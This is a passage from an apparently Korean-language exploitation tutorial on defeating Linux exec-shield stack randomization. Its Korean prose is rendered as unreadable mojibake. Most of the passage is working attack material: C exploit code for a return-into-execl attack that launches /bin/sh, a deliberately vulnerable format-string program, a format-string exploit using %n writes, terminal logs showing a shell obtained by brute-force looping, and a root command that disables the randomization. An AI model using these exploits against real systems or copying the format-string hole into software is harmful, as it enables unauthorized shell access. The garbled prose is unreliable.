ÀÖ½À´Ï´Ù. $ebp + 8byte À§Ä¡¿¡ ù ¹øÂ° ÀÎÀÚ °ªÀÌ ¿À°ÔÇÏ·Á¸é ¿ì¸®°¡ µ¤¾î¾º¿ï $ebp ·¹Áö½ºÅÍ´Â G_BORKEN_FILENAMES ȯ°æº¯¼öÀÇ °ª¿¡ +5byte¸¦ ´õÇÑ ÁÖ¼Ò¸¦ ³Ö¾îÁÖ¸é µË´Ï´Ù. ´ÙÀ½Àº ¿Ï¼ºµÈ exploit code ÀÔ´Ï´Ù. -- exploit.c -- int main(int argc,char *argv[]) { char buf[256]; long l=getenv("G_BROKEN_FILENAMES")+5; memset(buf,0,sizeof(buf)); sprintf(buf,"XXXX0000" "%c%c%c%c" /* environment argument address - 8 */ "\x23\x17\xf4\xf6", // execl+3 (l>>0)&0xff, (l>>8)&0xff, (l>>16)&0xff, (l>>24)&0xff); // printf("code: %s\n",buf); execl("\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6", // "/bin/sh" , "/bin/sh" "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6",buf,0); } -- ´ÙÀ½°ú °°ÀÌ °ø°ÝÇØº¸¾Ò½À´Ï´Ù. -- [x82@localhost tmp]$ gcc -o exploit exploit.c [x82@localhost tmp]$ ls -al `printf "\x03\xf6\xfc\xf6\x03\xf6\xfc\xf6"` lrwxrwxrwx 1 x82 x82 1 Dec 12 19:53 ???????? -> p [x82@localhost tmp]$ ln -s exploit aaaaaa [x82@localhost tmp]$ ./aaaaaa Segmentation fault [x82@localhost tmp]$ ./aaaaaa Segmentation fault [x82@localhost tmp]$ ./aaaaaa sh-3.00$ -- ÃÑ ¼¼ ¹øÀÇ °ø°Ý¿¡ ¼º°øÇÑ °ÍÀ» º¼ ¼ö ÀÖ½À´Ï´Ù. ÀÌ¿Í °°ÀÌ execl ÇÔ¼ö¿¡ ¿øÇÏ´Â ÀÎÀÚ °ªÀ» ³Ö¾îÁÙ ¼ö ÀÖÀ¸¹Ç·Î, ½ÇÇàÇϰíÀÚ ÇÏ´Â ¸í·ÉÀ» ÁöÁ¤ÇÏ¿© »ç¿ëÇÒ ¼ö ÀÖ½À´Ï´Ù. * µû¶ó ÀâÀº ·£´ý ½ºÅà »ó¿¡¼­ Æ÷¸Ë½ºÆ®¸µ °ø°Ý ½ÃµµÇϱâ À̹ø¿£ Æ÷¸Ë½ºÆ®¸µ °ø°ÝÀ» ÅëÇØ shellÀ» ½ÇÇàÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. Æ÷¸Ë½ºÆ®¸µ ±â¹ýÀº »ó´ëÀûÀ¸·Î ¿À¹öÇÃ·Î¿ì ±â¹ýº¸´Ù exploit Çϱ⠱î´Ù·Ó½À´Ï´Ù. ±× ÀÌÀ¯´Â °ø°Ý ´ë»ó ÇÁ·Î±×·¥ÀÇ return address À§Ä¡¸¦ Á¤È®ÇÏ°Ô ÆÄ¾ÇÇØ¾ß µÇ±â ¶§¹®ÀÔ´Ï´Ù. ÀÌ °úÁ¤À» À§ÇØ exploit Äڵ尡 »ç¿ëÇÏ´Â ½ºÅÃÀ» °ø°Ý ´ë»ó ÇÁ·Î±×·¥ÀÇ ½ºÅà »óÅÂ¿Í ¶È°°ÀÌ ±¸¼ºÇØÁÖ¾î¾ß ÇÕ´Ï´Ù. Æ÷¸Ë½ºÆ®¸µ °ø°ÝÀÇ °ø°Ý ½Ã³ª¸®¿À´Â ´ÙÀ½°ú °°½À´Ï´Ù. 1. °ø°Ý ´ë»ó ÇÁ·Î±×·¥ÀÇ return address¸¦ ¿¹ÃøÇÑ´Ù. 2. ¿¹ÃøÇÑ return address¿¡ execl() ÁÖ¼Ò¸¦ ³Ö¾îÁØ´Ù. 3. ¿¹ÃøÇÑ return address + 4 ($ebp + 8) À§Ä¡ºÎÅÍ execl() ÇÔ¼öÀÇ °¢ ÀÎÀÚµéÀ» ³Ö¾îÁØ´Ù. Æ÷¸Ë½ºÆ®¸µ °ø°ÝÀº return address °¢ À§Ä¡¸¦ Á¤È®È÷ ÆÄ¾ÇÇÏ´Â °ÍÀÌ °ü°ÇÀÔ´Ï´Ù. ·£´ý ½ºÅÃÀ» ÃßÃøÇß´ø ¹æ¹ýÀ¸·Î ½ºÅÃÀÇ À§Ä¡¸¦ ã¾Æº¸µµ·Ï ÇϰڽÀ´Ï´Ù. ¸ÕÀú °ø°Ý ´ë»ó ÇÁ·Î±×·¥ ¼Ò½º ÄÚµåÀÔ´Ï´Ù. -- vuln.c -- int main(int argc,char *argv[]) { char buf[256]; strncpy(buf,argv[1],sizeof(buf)-1); printf(buf); printf("\n"); } -- ´ÙÀ½Àº À§ÀÇ Ãë¾àÇÑ Äڵ带 °ø°ÝÇÒ exploit ÄÚµåÀÔ´Ï´Ù. -- #include char *buff=NULL; int flags=12; /* 12¹øÂ° $-flag¿¡¼­ ãÀ» ¼ö ÀÖÀ½ */ int main(int argc,char *argv[]) { char buf[256]; long l=(&buf); l=(l+256+12); /* return address value */ buff=malloc(1024); sprintf(buff, "%c%c%c%c" /* execl */ "%c%c%c%c" "%c%c%c%c" /* execl argument1 */ "%c%c%c%c" "%c%c%c%c" /* execl argument2 */ "%c%c%c%c" "%c%c%c%c" /* execl argument3 */ "%c%c%c%c" "%%5888x%%%d$n%%57300x%%%d$n" // 0xf6f41720: execl(); "%%65295x%%%d$n%%249x%%%d$n" // 0xf6fcf603: "/bin/sh" "%%65287x%%%d$n%%249x%%%d$n" // 0xf6fcf603: "/bin/sh" "%%2308x%%%d$n%%65536x%%%d$n", // NULL (l+0>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+2>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+8>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+10>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+12>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+14>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+16>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, (l+18>>0)&0xff,(l>>8)&0xff,(l>>16)&0xff,(l>>24)&0xff, flags+0,flags+1, flags+2,flags+3, flags+4,flags+5, flags+6,flags+7); printf("size: %d\n",strlen(buff)); fflush(stdout); execl("./vuln","vuln",buff,0); free(buff); } -- À§ÀÇ exploit code¸¦ °£´ÜÇÏ°Ô ¼³¸íÇÏÀÚ¸é, ¿ì¼±, stack¿¡ ÇÒ´ç½ÃŲ ¹è¿­ º¯¼öº¸´Ù 12byte µÚ¿¡ return address ÁÖ¼Ò°¡ ÀÖ´Ù´Â °ÍÀ» °¡Á¤Çϰí, ÀÌ·¸°Ô ¿¹ÃøÇÑ return address ÁÖ¼Ò¿¡ execl() ÇÔ¼ö ÁÖ¼Ò¸¦ overwrite ÇÕ´Ï´Ù. ±× ´ÙÀ½ 4byte ºÎÅÍ execl() ÇÔ¼öÀÇ ÀÎÀÚ °ªÀ» ¼¼ °³¸¦ Â÷·Ê´ë·Î µ¤¾î ¾º¿öÁÝ´Ï´Ù. -- [return address][return address+4][return address+8][return address+12][return address+16] [ execl addr ][ blank ][ execl argument1][ execl argument2 ][ execl argument3 ] -- ÀÌÁ¦ exploit code¸¦ ½ÇÇàÇØº¸µµ·Ï ÇϰڽÀ´Ï´Ù. -- [x82@localhost test]$ gcc -o exploit exploit.c exploit.c: In function `main': exploit.c:8: warning: initialization makes integer from pointer without a cast [x82@localhost test]$ ./exploit size: 122 lQþþnQþþtQþþvQþþxQþþzQþþ|Qþþ~Qþþ ... Áß ·« ... Segmentation fault [x82@localhost test]$ ./exploit size: 122 ^L·èþ·èþ·èþ·èþ·èþ·èþ·èþ·èþ ... Áß ·« ... 0 [x82@localhost test]$ ./exploit size: 122 ... Áß ·« ... Segmentation fault [x82@localhost test]$ ./exploit size: 122 ... Áß ·« ... 0 [x82@localhost test]$ -- À§¿Í °°ÀÌ ¿©·¯¹ø °ø°ÝÀ» ½ÃµµÇغ¸¾ÒÀ¸³ª, shellÀ» ½ÇÇàÇÒ ¼ö ¾ø¾ú½À´Ï´Ù. exploit ÄÚµå¿Í °ø°Ý ´ë»ó ÄÚµåÀÇ ´Ù¸¥ Á¡À» Á¶»çÇØº» °á°ú, ¿¹ÃøÇϰí ÀÖ´Â return address ÁÖ¼Ò°¡ ÀÏÄ¡ÇÏÁö ¾Ê´Ù´Â »ç½ÇÀ» ¾Ë ¼ö ÀÖ¾ú½À´Ï´Ù. ±× ÀÌÀ¯´Â ¹Ù·Î ÇÁ·Î±×·¥ÀÇ argument ¶§¹®À̾ú½À´Ï´Ù. ¿ì¼± °ø°Ý ´ë»ó ÇÁ·Î±×·¥ À̸§°ú exploit ÄÚµåÀÇ À̸§ÀÌ 3byte ÀÌ»ó Â÷À̰¡ ³µ°í °ø°Ý ´ë»ó ÇÁ·Î±×·¥¿¡ ù ¹øÂ° ÀÎÀÚ·Î ÀԷµǴ 122byte ¹®ÀÚ¿­ÀÌ stack¿¡ µé¾î°¡¸é¼­ exploit ÄÚµåÀÇ stack ±¸Á¶¿Í ´Ù¸£°Ô ¸¸µé¾î ¹ö·È±â ¶§¹®¿¡ return address ÁÖ¼Òµµ ´Þ¶óÁø °ÍÀÔ´Ï´Ù. ±×·¡¼­ exploit codeÀÇ À̸§µµ °ø°Ý ´ë»ó ÇÁ·Î±×·¥°ú °°°Ô º¯°æ ÈÄ, ¶È°°ÀÌ 122byteÀÇ ¹®ÀÚ¿­À» ù ¹øÂ° ÀÎÀÚ·Î ³Ö¾îÁÖ°í ½ÇÇàÇØº¸¾Ò½À´Ï´Ù. -- [x82@localhost test]$ ln -s exploit xxxx [x82@localhost test]$ while [ 1 ] ; do ./xxxx `perl -e 'print "x"x122'` ; done ... Áß ·« ... 0 sh-3.00$ ps PID TTY TIME CMD 32605 pts/1 00:00:00 bash 13136 pts/1 00:00:00 bash 13284 pts/1 00:00:00 sh 13285 pts/1 00:00:00 ps sh-3.00$ -- ½©½ºÅ©¸³Æ® while ¹«ÇÑ ·çÇÁ·Î °ø°ÝÀ» ½ÃµµÇÑ °á°ú, ¿©·¯¹øÀÇ ½Ãµµ ³¡¿¡ shellÀ» ½ÇÇàÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. ÀÌ¿Í °°ÀÌ Æ÷¸Ë½ºÆ®¸µ °ø°ÝÀº return address¸¦ ã´Â °úÁ¤¸¸ ±î´Ù·Î¿ï »Ó, Á¤È®ÇÑ ÁÖ¼Ò¸¦ ¿¹ÃøÇÏ°í ³ª¸é °ø°ÝÀº ºñ±³Àû ½±°Ô ¼º°øÇÒ ¼ö ÀÖ½À´Ï´Ù. * °á ·Ð. random-stack ±â´ÉÀ» Àû´çÈ÷ ¹«·ÂÈ­ÇÑ ÈÄ, ½ºÅà ±â¹Ý ¿À¹öÇÃ·Î¿ì °ø°Ý°ú Æ÷¸Ë½ºÆ®¸µ °ø°ÝÀ» Àû¿ëÇØº¸¾Ò½À´Ï´Ù. ½ÇÁ¦·Î Ä¿³Î »ó¿¡¼­ ½ÃÇà ÁßÀÎ random-stack ±â´ÉÀ» ºñȰ¼ºÈ­½ÃŰ·Á¸é "/proc/sys/kernel/exec-shield-randomize" ÆÄÀÏÀÇ ³»¿ëÀ» "0"À¸·Î º¯°æÇØÁÖ¸é µË´Ï´Ù. -- [root@localhost test]# cat /proc/sys/kernel/exec-shield-randomize 1 [root@localhost test]# echo "0" > /proc/sys/kernel/exec-shield-randomize -- °ø°ÝÀº Á¡Â÷ Èûµé¾îÁö°í ÀÖÁö¸¸, ÀÌ·¯ÇÑ È¯°æ ¼Ó¿¡¼­µµ ºÒ°¡´ÉÀº ¾ø´Ù°í »ý°¢ÇÕ´Ï´Ù. ¶§¶§·Î º¸Àß °Í ¾øÀÌ Àڱ׸¶ÇÑ Æ®¸¯ Çϳª°¡ ºÒ°¡´ÉÀ» °¡´ÉÇÏ°Ô ¸¸µé¾î Áֱ⠶§¹®ÀÌÁÒ. ^^ ¾ÕÀ¸·Î ¿©·¯ºÐµéµµ Áö¼ÓÀûÀÎ ¿¬±¸¸¦ ÅëÇØ ¿©·¯°¡Áö °¡´É¼ºµéÀ» °æÇèÇØº¸½Ã±æ ¹Ù¶ø´Ï´Ù. ±×·³, À̸¸ ¹®¼­¸¦ ³¡ ¸¶Ä¡µµ·Ï ÇϰڽÀ´Ï´Ù. :-} P.S: Æ÷¸Ë½ºÆ®¸µ °ø°Ý ºÎºÐÀº ÇÇÄ¡ ¸øÇÒ »çÁ¤À¸·Î ÈÄ´Ù´Ú ³¡ ¸Î°Ô µÇ¾ú½À´Ï´Ù. ¹®¼­¿¡ ºÎºÐÀûÀÎ ¿À·ù°¡ ÀÖÀ» ¼ö ÀÖÀ¸´Ï, ¹®ÀÇ »çÇ×Àº Á¦ À̸ÞÀÏ·Î Çǵå¹é ÇØÁֽñ⠹ٶø´Ï´Ù. ^^ °¨»çÇÕ´Ï´Ù.